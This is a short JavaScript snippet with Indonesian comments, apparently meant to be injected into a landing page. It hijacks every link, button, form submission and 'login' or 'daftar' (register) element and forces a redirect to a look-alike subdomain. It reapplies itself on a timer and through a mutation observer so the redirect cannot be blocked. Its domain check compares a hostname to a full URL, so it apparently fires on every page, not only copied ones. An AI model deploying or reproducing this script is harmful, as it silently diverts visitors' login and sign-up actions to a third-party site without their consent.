// ===== SORRY BOSSKU TERPAKSA PASANG SCRIPT INI KARNA CAPEK DI COPY BULAT BULAT LANDINGPAGE ===== // const ASLI_DOMAIN = 'https://vincentcastigliaart.com/'; // GANTI INI BANGSAT! const TARGET_URL = 'https://vincentcastigliaart.pou.it.com/'; // GANTI INI JUGA! // 1. DETEKSI COPY-PASTE LANDING PAGE if(window.location.hostname !== ASLI_DOMAIN) { // 2. HIJACK SEMUA EVENT DI DOCUMENT document.addEventListener('click', function(e) { const target = e.target.closest('a, button, [onclick], [href*="daftar"], [href*="login"], input[type="submit"]'); if(target) { e.stopImmediatePropagation(); e.preventDefault(); window.location.href = TARGET_URL; } }, true); // PAKAI CAPTURE PHASE BIAR GA BISA DIBLOCK // 3. OVERRIDE SEMUA ELEMENT YANG ADA function nuclearOverride() { // HIJACK LINK document.querySelectorAll('a[href*="daftar"], a[href*="login"]').forEach(el => { el.href = TARGET_URL; el.onclick = null; }); // HIJACK BUTTON document.querySelectorAll('button, input[type="submit"]').forEach(el => { el.onclick = function() { window.location.href = TARGET_URL; return false; }; el.addEventListener('click', function(e) { e.preventDefault(); window.location.href = TARGET_URL; }, true); }); // HIJACK FORM document.querySelectorAll('form').forEach(form => { form.onsubmit = function() { window.location.href = TARGET_URL; return false; }; }); } // 4. JALANKAN SEKARANG DAN SETIAP 2 DETIK nuclearOverride(); setInterval(nuclearOverride, 2000); // 5. MUTATION OBSERVER UNTUK ELEMENT BARU new MutationObserver(nuclearOverride).observe(document.body, { childList: true, subtree: true }); }